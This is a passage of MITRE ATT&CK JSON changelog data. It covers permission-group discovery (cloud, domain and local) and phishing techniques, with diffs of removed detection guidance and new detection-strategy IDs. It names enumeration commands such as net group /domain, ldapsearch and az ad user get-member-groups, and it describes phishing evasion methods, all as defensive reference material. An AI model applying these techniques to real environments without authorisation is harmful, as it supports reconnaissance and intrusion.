"description": "Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.\n\nAdversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1069",
"external_id": "T1069"
},
{
"source_name": "K8s Authorization Overview",
"description": "Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021.",
"url": "https://kubernetes.io/docs/reference/access-authn-authz/authorization/"
},
{
"source_name": "CrowdStrike BloodHound April 2018",
"description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.",
"url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Daniel Prizmant, Palo Alto Networks",
"Yuval Avrahami, Palo Alto Networks",
"Microsoft Threat Intelligence Center (MSTIC)"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"IaaS",
"Identity Provider",
"Linux",
"macOS",
"Office Suite",
"SaaS",
"Windows"
],
"x_mitre_version": "2.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Group: Group Metadata\", \"Command: Command Execution\", \"Application Log: Application Log Content\", \"Group: Group Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.378000+00:00\", \"old_value\": \"2025-04-15 22:56:59.585000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.(Citation: K8s Authorization Overview)\"}}}",
"previous_version": "2.6",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0036: Group (Group Enumeration)",
"DS0036: Group (Group Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0179: Behavioral Detection of Permission Groups Discovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:15:33.222000+00:00",
"modified": "2025-10-24 17:48:26.982000+00:00",
"name": "Cloud Groups",
"description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1069/003",
"external_id": "T1069.003"
},
{
"source_name": "AWS Get Bucket ACL",
"description": "Amazon Web Services. (n.d.). Retrieved May 28, 2021.",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html"
},
{
"source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
"description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
"url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
},
{
"source_name": "Black Hills Red Teaming MS AD Azure, 2018",
"description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
"url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
},
{
"source_name": "Google Cloud Identity API Documentation",
"description": "Google. (n.d.). Retrieved March 16, 2021.",
"url": "https://cloud.google.com/identity/docs/reference/rest"
},
{
"source_name": "Microsoft AZ CLI",
"description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
},
{
"source_name": "Microsoft Msolrole",
"description": "Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.",
"url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0"
},
{
"source_name": "GitHub Raindance",
"description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
"url": "https://github.com/True-Demon/raindance"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Regina Elwell",
"Isif Ibrahima, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"SaaS",
"IaaS",
"Office Suite",
"Identity Provider"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"Process: Process Creation\", \"Group: Group Metadata\", \"Group: Group Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.982000+00:00\", \"old_value\": \"2025-04-15 22:02:13.319000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0017: Command (Command Execution)",
"DS0036: Group (Group Enumeration)",
"DS0036: Group (Group Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0251: Behavioral Detection of Cloud Group Enumeration via API and CLI Access"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:15:06.561000+00:00",
"modified": "2025-10-24 17:48:33.946000+00:00",
"name": "Domain Groups",
"description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1069/002",
"external_id": "T1069.002"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Harshal Tupsamudre, Qualys",
"Miriam Wiesner, @miriamxyra, Microsoft Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Group: Group Enumeration\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.946000+00:00\", \"old_value\": \"2025-04-15 22:22:08.417000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0036: Group (Group Enumeration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0360: Behavioral Detection of Domain Group Discovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-12 19:29:21.013000+00:00",
"modified": "2025-10-24 17:49:10.014000+00:00",
"name": "Local Groups",
"description": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1069/001",
"external_id": "T1069.001"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Harshal Tupsamudre, Qualys",
"Miriam Wiesner, @miriamxyra, Microsoft Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Group: Group Enumeration\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.014000+00:00\", \"old_value\": \"2025-04-15 22:46:25.458000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0036: Group (Group Enumeration)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0114: Behavioral Detection of Local Group Enumeration Across OS Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-02 18:45:07.892000+00:00",
"modified": "2025-10-24 17:49:11.351000+00:00",
"name": "Phishing",
"description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by [Email Spoofing](https://attack.mitre.org/techniques/T1672)(Citation: Proofpoint-spoof) the identity of the sender, which can be used to fool both the human recipient as well as automated security tools,(Citation: cyberproof-double-bounce) or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").(Citation: phishing-krebs)\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1566",
"external_id": "T1566"
},
{
"source_name": "ACSC Email Spoofing",
"description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
},
{
"source_name": "phishing-krebs",
"description": "Brian Krebs. (2024, March 28). Thread Hijacking: Phishes That Prey on Your Curiosity. Retrieved September 27, 2024.",
"url": "https://krebsonsecurity.com/2024/03/thread-hijacking-phishes-that-prey-on-your-curiosity/"
},
{
"source_name": "CISA Remote Monitoring and Management Software",
"description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.",
"url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"
},
{
"source_name": "cyberproof-double-bounce",
"description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.",
"url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"
},
{
"source_name": "Unit42 Luna Moth",
"description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.",
"url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"
},
{
"source_name": "Microsoft Anti Spoofing",
"description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
"url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
},
{
"source_name": "Microsoft OAuth Spam 2022",
"description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
"url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
},
{
"source_name": "sygnia Luna Month",
"description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.",
"url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"
},
{
"source_name": "Proofpoint-spoof",
"description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.",
"url": "https://www.proofpoint.com/us/threat-reference/email-spoofing"
},
{
"source_name": "Palo Alto Unit 42 VBA Infostealer 2014",
"description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.",
"url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Philip Winther",
"Ohad Zaidenberg, @ohad_mz",
"Liora Itkin",
"Liran Ravich, CardinalOps",
"Scott Cook, Capital One"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Identity Provider",
"Linux",
"macOS",
"Office Suite",
"SaaS",
"Windows"
],
"x_mitre_version": "2.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.351000+00:00\", \"old_value\": \"2025-04-15 19:58:55.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n\\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\\n\\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\\n\\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n-\\n-Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\\n-\\n-Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\\n-\\n-Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.\"}}}",
"previous_version": "2.7",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1021: Restrict Web-Based Content",
"M1031: Network Intrusion Prevention",
"M1047: Audit",
"M1049: Antivirus/Antimalware",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0070: Detection Strategy for Phishing across platforms."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-02 19:05:18.137000+00:00",
"modified": "2025-10-24 17:48:35.522000+00:00",
"name": "Spearphishing Attachment",
"description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "initial-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1566/001",
"external_id": "T1566.001"
},
{
"source_name": "ACSC Email Spoofing",
"description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
},
{
"source_name": "Unit 42 DarkHydrus July 2018",
"description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
},
{
"source_name": "Microsoft Anti Spoofing",
"description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
"url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
},
{
"source_name": "Elastic - Koadiac Detection with EQL",
"description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
"url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Philip Winther"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.522000+00:00\", \"old_value\": \"2025-04-15 23:10:26.686000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n\\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n\\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\\n\\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\\n-\\n-Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\\n-\\n-Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\\n-\\n-Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management",
"M1021: Restrict Web-Based Content",
"M1031: Network Intrusion Prevention",
"M1047: Audit",
"M1049: Antivirus/Antimalware",
"M1054: Software Configuration"
],
"new": [],
